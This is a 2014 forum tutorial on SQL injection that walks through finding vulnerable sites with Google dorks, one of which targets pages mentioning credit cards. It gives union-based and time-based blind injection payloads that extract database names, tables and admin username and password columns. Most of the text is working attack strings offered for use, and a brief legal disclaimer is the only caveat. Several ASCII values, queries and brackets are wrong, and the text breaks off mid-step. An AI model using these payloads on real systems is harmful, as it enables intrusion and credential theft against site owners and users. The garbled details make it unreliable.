Tutorial MySQL database injections.

Merkuri · 07-29-2014, 10:41 PM

I assume that you have working knowledge about MySQL database, there are many free sources on the internet about MySQL. You also must be familar with SQL. You don't need to be able to program on PHP or any other language, but it's recommened.

First I want to excuse for my terrible grammar. Also I want to mention that probably I have some typos, if you have any touble with understanding something, or you see something wrong please contact me.
I think that it's unless to say that if you inject sites without permission of the owner is illegal and I'm not responsible for your actions.
Google Dorks

Spoiler:
You can use google dorks to find SQL injection vulnerabilities. Here is an example of google dork:
Code:
inurl:index.php?id= +.com
This one will search for "index.php?id" in the URL in .com domains.

Here are some searching operators
Code:
OPERATOR | Description

inurl:   | a text that must be in the URL, for example if you search for login panel you will type inurl:login.php
site:    | It returns the websites of specified domains
intitle  | It restricts the results to pages whose title contain specified word/phrase, this may be useful if you search vulnerability in a myBB or Joomla for example
filetype | Searches for a particular filetype mentioned in the query, .php for example.
Here is list with SQLi dorks:
Code:
http://pastebin.com/wUyRb0k8
 Thanks to The Protagonis for sharing them(before 2 years).

You can add + (domainhere) Here are some examples:
Code:
inurl: index.php?id= +.com
inurl: index.php?id= +.net
inurl: index.php?id= +.org
inurl: index.php?id= +.cc
inurl: index.php?id= +.ws
inurl: index.php?id= +.edu
inurl: index.php?id= +.gov
Also you could search for keywords by that way: 
Code:
inurl:index.php?id= intext"keyword"
just type intext"keyword" and change keyword with something for example credit card.

I think this is enough for basics of google dorks.

Before you start reading, I think it's good to give you the definition for SQL injection.

Quote:SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

This is from Wikipedia, I was unable to give better definition.
String based SQLi

Spoiler:

This is one of the easiest SQL injections.The difference between string SQL injection and the basic SQL injection(Union Query) is that we don't write -- but we write --+,+--+ or +-- and you add ' after the parametar. So I will write for basic injection(Union Query) and add examples for string injection First you need to check if the website is vulnerable. You are doing this by writing ' at the end of URL here is example:

Code:
http://www.site.com/index.php?id=123'

And after you hit enter you should see error message similar to this one:

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1

If you get similar error the site is vulnerable if you don't then the site isn't vulnerable to string based SQLi. But let's say that our site is vulnerable let's go to the next step. You should find the number of columns we do that by using order by statement, I will highly recommend to add -- after each query. Delete the ' and write order by and start guessing numbers of columns, its more easy to start with 100 to be sure that you will get error and then continue by 10, if you get error on 10 too, then try with 5 if you don't get error on 5, try with 7 if you don't get error on 7 try, with 8 if you get error on 8 then the number of columns is 7. Basicly if your number is less than the number of columns you fon't get error, if the number is greater than the number of columns, it will throw you and error.

Code:
http://www.site.com/index.php?id=123 order by 100--  *Error
http://www.site.com/index.php?id=123 order by 10--   *Error
http://www.site.com/index.php?id=123 order by 1--    *no error
http://www.site.com/index.php?id=123 order by 5--    *no error
http://www.site.com/index.php?id=123 order by 7--    *no error
http://www.site.com/index.php?id=123 order by 8--    *error
For string injecition
http://www.site.com/index.php?id=123' order by 100--+ *Error
http://www.site.com/index.php?id=123' order by 10--+  *Error
http://www.site.com/index.php?id=123' order by 1--+   *no error
http://www.site.com/index.php?id=123' order by 5--+   *no error
http://www.site.com/index.php?id=123' order by 7--+   *no error
http://www.site.com/index.php?id=123' order by 8--+   *error

Now you should find the vulnerable column or the column from which you can take information we do that by union select or union all select statement, you should write - before the parametar here how your URL should look.

Code:
http://www.site.com/index.php?id=-123

We know that number of columns is 7, and one of those 7 colums gives information to us. Let's see which one is it.

Code:
http://www.site.com/index.php?id=-123 union all select 1,2,3,4,5,6,7--
For string injection
http://www.site.com/index.php?id=-123' union all select 1,2,3,4,5,6,7--+

Now you should see some numbers and one big number(number with large font) this is the vulnerable column. Now we should find the version of the database we do that with @@version or version() query change the vulnerable column number with one of those queryies for example our vulnerable column is 5.

Code:
http://www.site.com/index.php?id=123 union all select 1,2,3,4,verion(),6,7--
with @@version
http://www.site.com/index.php?id=123  union all select 1,2,3,4,@@version,6,7--
For string injection
http://www.site.com/index.php?id=123' union all select 1,2,3,4,verion(),6,7--+
with @@version
http://www.site.com/index.php?id=123'  union all select 1,2,3,4,@@version,6,7--+

Now if the version is >= 5 then this is good. If its 4.x.x just give up you should guess DB name table name column name you can try to use automate tool. Since I don't want to write about version less than 5, let's assume that the databse is version 5.x.x. Ok so next step is to find the DB name we do this by group_concat.

Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4,group_concat(),6,7--
For string injection 
http://www.site.com/index.php?id=123' union select 1,2,3,4,group_concat(),6,7--+

Also if you want to get all database then you should search for information.schema you can do that by group_concat(schema_name) query and add this query at the end of the URL from information_schema.schemata

Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--+

Let's say that db name is DataBaseName. Now you should find table name we do this with group_concat(table_name) query and from information_schema.tables where table_schema=database() at the end of URL.

Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --+

The group_concat query can return only(by default with SQLi you can't change this option) 1024 characters if you need more charecters you need to use group_concat() and a limit

Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database()  limit 0,1--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database()  limit 0,1--+

Keep increasing that limit. Now you should have list with names for example admins, users, news,... we will check admin. To find columns in table admin we use group_concat(column_name) and from+information_schema.columns where table_name="TABLE NAME HERE".

Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--+

If you get error you should turn the table name into hex you can use this tool http://www.swingnote.com/tools/texttohex.php to do this!PLACE 0x BEFORE THE HEX VALUE!

Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--+

you can use limit as the same way as in finding table name.
Now you should see new text let's say that we have username and password to extract information from them we use group_concat(COLUMNS NAMES HERE) and from DATABASE HERE.TABLE NAME HERE. Example will make this clear.

Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password  ),6,7 from DataBaseName.admin--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password  ),6,7 from DataBaseName.admin--+

0x3a means colon it's better to use it but it's not so important. This is it you have exploit your web site!

Time based SQL injection

Spoiler:

Time based SQL injection is very easy to undestand for me, hope that will be the same with you.
Let's start.

First there are two types of time based(or delay) injection integer and string injection, actually the diffrent between both is one ' in the url. Here is how integer and string injections look:

Code:
Integer
www.site.com/index.asp?id=123; waitfor delay '00:00:20'--
String
www.site.com/index.asp?id=123'; waitfor delay '00:00:20'--

Actually those queryies tell the database to wait 20 second before response if the database don't wait(return directly) its false if wait its true.
Now it's time to find the DB username we have to find all characters, we do this IF (len(user)=number of characters) waitfor delay '00:00:20'--

Code:
www.site.com/index.asp?id=123; IF (len(user)=1)  waitfor delay '00:00:20'--
And for String injection
www.site..com/index.asp?id=123'; IF (len(user)=1)  waitfor delay '00:00:20'--

Ok now you ask the database if the user have one character, if yes the database will response after 20 second if not will return directly. Actually I haven't see user name with only one char.

Code:
www.site.com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=2) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=3) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=4) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=5) waitfor delay '00:00:20'--    * wait 20 seconds / true
Or for String injection
www.site.com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=2) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=3) waitfor delay '00:00:20'--     * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=4) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=5) waitfor delay '00:00:20'--    * wait 20 seconds / true

So now the database return on 5 characters, but what exacly are those characters we will use ASCII to see. We will use this query IF (ascii(lower(substring((user),1,1)))>ASCII number) waitfor delay '00:00:20'-- to guess the name.

Code:
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'--    * wait 20 second / true
For string injection
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'--    * wait 20 second /true

Here is nice ASCII table: http://upload.wikimedia.org/wikipedia/co...e-wide.svg. Now we know that the first character is U since the database wait 20 seconds on ASCII number 55 which is U, now to find the second character we do this by the same query just change 1 to 2:

Code:
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),2,1)))>82 waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'--    * wait 20 second / true
For string injection
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),2,1)))>82) waitfor delay '00:00:20'--    * return directly / false
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'--    * wait 20 second /true

Now we see that second character is S because database wait for delay on 53 and first char is U second is S this mean that the the name may be user so lets try first with E then with R.

Code:
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'--    * wait 20 second / true
www.site.com/index.asp?id=123;  IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'--    * wait 20 second / true
For string injection
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'--    * wait 20 second /true
www.site.com/index.asp?id=123';  IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'--    * wait 20 second /true

and we have find that th user name is USER. Now it's time to get the database name, hope that the administrator don't like long names (acually they do). The process is pretty similar with the proccess of guessing username we use ; IF (len(db_name())=number of characters) waitfor delay '00:00:20'-- to get the lenght of the database name.

Code:
www.site.com/index.asp?id=123; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=6) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=8) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=6) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=8) waitfor delay '00:00:20'-- * wait 20 second /true

We see that the lengh of the database name is 8 so now we should guess the characters again we will use IF (ascii(lower(substring((db_name),1,1)))>ASCII) waitfor delay '00:00:10'--

Code:
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- * wait 20 second /true

We see that the first character is "D", let's see for the second one

Code:
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true

Now we see that the second character is "a", let's see for the 3.

Code:
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>96) + waitfor delay '00:00:20'--  * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>116) + waitfor delay '00:00:20'-- * wait 20 second /true
[code]
We see that this character is "t", so what start with dat and its 8 characters long? lets try Database yeah.
[code]
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'--  * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- ** wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- *  wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- *  wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- *  wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /true

The name of the database is "Database". Now its time go get table name, we use IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=NUMBER OF CHARS) waitfor delay '00:00:20'-- to get the name lenght.

Code:
www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'-- 
For string injection
www.site.com/index.asp?id=123'; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--

Now we see that the lengh of the table is 5 let's start guessing. We do this by IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=ASCII VALUE) waitfor delay '00:00:20'-- [/b[

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true

The first character is "a", let's see the second one

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false 
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'--  * wait 20 second /true

Now we see that the second character is d"", now again what start with ad and it's 5 characters I bet that it't admin let's see.

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'--  * wait 20 second /true

Yes it's admin, now it's time to extract the column name the query we will use is [b]IF (len(select top 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME')=NUMBER OF CHARS) waitfor delay '00:00:20'--

Code:
www.site.com/index.asp?id=123; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /true

So we see that our column name lengh is 5, guessing again. query we use is IF (ASCII(lower(substring((SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME HERE'),1,1)))=ASCII VALUE) waitfor delay '00:00:20'--

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85)  waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85)  waitfor delay '00:00:20'-- * wait 20 second /true

Ok so now we see that the first character is U what start with U Username let's try

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115)  waitfor delay '00:00:20'--  * return directly / false
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115)  waitfor delay '00:00:20'--  * return directly / false

Nope the second character isn't "s". So we have to continue with guessing.

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110)  waitfor delay '00:00:20'--  * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109)  waitfor delay '00:00:20'--  * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110)  waitfor delay '00:00:20'--  * wait 20 second /true

The second one is "n" let's try with uname ?

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97)  waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109)  waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101)  waitfor delay '00:00:20'--  * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97)  waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109)  waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'--  * wait 20 second /true

Yes the first column name is uname now let's to check for second one we will use the query IF (LEN(SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME' and column_name>'Previous column')=lengh) waitfor delay '00:00:20'--.

Code:
www.site.com/index.asp?id=123;  IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';  IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /true

Now our next column lengh is 4 characters let's guess it, we do this by the same query as previous we just add column_name>'Previous column'.

Code:
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'--  * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112)  waitfor delay '00:00:20'--  * wait 20 second /true

Now we see that the first character is "p", and let's see what we have its second column start with"p" and its 4 char long looks like pass, let's try it.

Code:
